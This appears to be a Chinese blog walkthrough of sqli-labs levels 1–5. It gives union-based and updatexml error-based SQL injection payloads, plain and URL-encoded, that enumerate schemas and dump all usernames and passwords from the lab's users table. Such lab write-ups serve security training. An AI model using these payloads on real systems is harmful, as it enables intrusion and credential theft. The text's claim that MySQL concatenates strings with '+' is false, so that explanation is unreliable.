sqli-labs过关
关于sqli-labs靶场的搭建，可以参阅我的另一篇文章 ubuntu下sqli-labs靶场搭建
第一关
提示我们带参数ID，但试了1、2、3都不行，发现是小写的id，这提示有点抽象
判断数据库类型
#注释仅适用于mysql和sqlite，构造1;#123并进行URL编码
最终的payload为?id=1%3B%23123
上图成功输出用户名和密码说明#注释能用
接着判断是mysql还是sqlite
mysql中字符串拼接可用'ab' + 'cd' = 'abcd'，但sqlite中不能
构造1 and 'ab' + 'cd' = 'abcd';#123并进行URL编码
最终payload为?id=1%20and%20%27ab%27%20%2B%20%27cd%27%20%3D%20%27abcd%27%3B%23123
数据库居然报错了，当然可以直接从报错信息得出数据库管理系统为mysql，但是一般服务器都不会将报错信息回送给客户端的，只会显示诸如搜索结果为空或直接置空之类的
它这里的报错信息让我百思不得其解，直接查看源码，发现它居然在SQL语句中给id字段加单引号，但在mysql中其数据类型为int。虽然mysql会自动进行数据类型转换，但这个代码编写得确实很有瑕疵
那我们将payload修改为1' 'ab' + 'cd' = 'abcd';#123，并进行URL编码
最终的payload为1%27%20and%20%27ab%27%20%2B%20%27cd%27%20%3D%20%27abcd%27%3B%23123
成功显示出用户名密码，说明数据库为mysql
字段数量查询
查询当前使用的表有多少个字段
是两个吗？-2' union select 1,2;#123
URL编码%2D2%27%20union%20select%201%2C2%3B%23123
不是两个
是三个吗？-2' union select 1,2,3;#123
URL编码%2D2%27%20union%20select%201%2C2%2C3%3B%23123
是三个，且显示在浏览器的是第二个和第三个字段
爆出所有库名
-2' union select 1, GROUP_CONCAT(distinct TABLE_SCHEMA), 3 from information_schema.COLUMNS;#123
URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28distinct%20TABLE%5FSCHEMA%29%2C%203%20from%20information%5Fschema%2ECOLUMNS%3B%23123
爆出所有表名
爆出security库的所有表名
-2' union select 1, GROUP_CONCAT(distinct TABLE_NAME), 3 from information_schema.COLUMNS where TABLE_SCHEMA = 'security';#123
URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28TABLE%5FNAME%29%2C%203%20from%20information%5Fschema%2ECOLUMNS%20where%20TABLE%5FSCHEMA%20%3D%20%27security%27%3B%23123
爆出所有字段名
爆出users表中的所有字段名
-2' union select 1, GROUP_CONCAT(distinct COLUMN_NAME), 3 from information_schema.COLUMNS where TABLE_SCHEMA = 'security' and TABLE_NAME = 'users';#123
URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28distinct%20COLUMN%5FNAME%29%2C%203%20from%20information%5Fschema%2ECOLUMNS%20where%20TABLE%5FSCHEMA%20%3D%20%27security%27%20and%20TABLE%5FNAME%20%3D%20%27users%27%3B%23123
爆出所有用户名密码
爆出users表中的所有用户名密码
-2' union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123
URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123
以这种方式，整个数据库的所有数据都能被导出
第二关
输入1没问题，输入1%27报错
说明这次后端的SQL语句没有加单引号
其它步骤跟第一关一致，只是要去掉-2后面的单引号
-2 union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123
URL编码%2D2%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123
第三关
输入1%27报错如下
说明后端的SQL语句是这样的... id = ('$id') ...
那只用将-2'替换为-2')，其它步骤跟第一关一致
-2') union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123
URL编码%2D2%27%29%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123
第四关
输入1%22报错如下
说明后端的SQL语句是... id = ("$id") limit 0,1
那只用将-2'替换为-2")，其它步骤跟第一关一致
-2") union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123
URL编码%2D2%22%29%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123
第五关
输入1不报错，但只显示you are in
输入1%27报错，得出后端的SQL语句为... id = '$id' limit 0,1
但因为成功查询只会给出固定的you are in，所以只能在报错信息上做文章
使用updatexml函数，构造-2' union select 1, updatexml('<a><b>123</a></b>', CONCAT('!', (select GROUP_CONCAT(distinct TABLE_SCHEMA) from information_schema.COLUMNS), '!'), '456'), 3;#123
URL编码%2D2%27%20union%20select%201%2C%20updatexml%28%27%3Ca%3E%3Cb%3E123%3C%2Fa%3E%3C%2Fb%3E%27%2C%20CONCAT%28%27%21%27%2C%20%28select%20GROUP%5FCONCAT%28distinct%20TABLE%5FSCHEMA%29%20from%20information%5Fschema%2ECOLUMNS%29%2C%20%27%21%27%29%2C%20%27456%27%29%2C%203%3B%23123
因为此错误的细节只显示32字节，于是数据库名显示不全，就要用到not in (xxx)
-2' union select 1, updatexml('<a><b>123</a></b>', CONCAT('!', (select GROUP_CONCAT(distinct TABLE_SCHEMA) from information_schema.COLUMNS where TABLE_SCHEMA not in ('challenges', 'information_schema')), '!'), '456'), 3;#123
URL编码%2D2%27%20union%20select%201%2C%20updatexml%28%27%3Ca%3E%3Cb%3E123%3C%2Fa%3E%3C%2Fb%3E%27%2C%20CONCAT%28%27%21%27%2C%20%28select%20GROUP%5FCONCAT%28distinct%20TABLE%5FSCHEMA%29%20from%20information%5Fschema%2ECOLUMNS%20where%20TABLE%5FSCHEMA%20not%20in%20%28%27challenges%27%2C%20%27information%5Fschema%27%29%29%2C%20%27%21%27%29%2C%20%27456%27%29%2C%203%3B%23123
此处省略中间过程
-2' union select 1, updatexml('<a><b>123</a></b>', CONCAT('!', (select CONCAT(username, password) from security.users where id = 1), '!'), '456'), 3;#123
URL编码%2D2%27%20union%20select%201%2C%20updatexml%28%27%3Ca%3E%3Cb%3E123%3C%2Fa%3E%3C%2Fb%3E%27%2C%20CONCAT%28%27%21%27%2C%20%28select%20CONCAT%28username%2C%20password%29%20from%20security%2Eusers%20where%20id%20%3D%201%29%2C%20%27%21%27%29%2C%20%27456%27%29%2C%203%3B%23123
得到id为1的用户名密码
借助这种方式，可爆出数据库的所有数据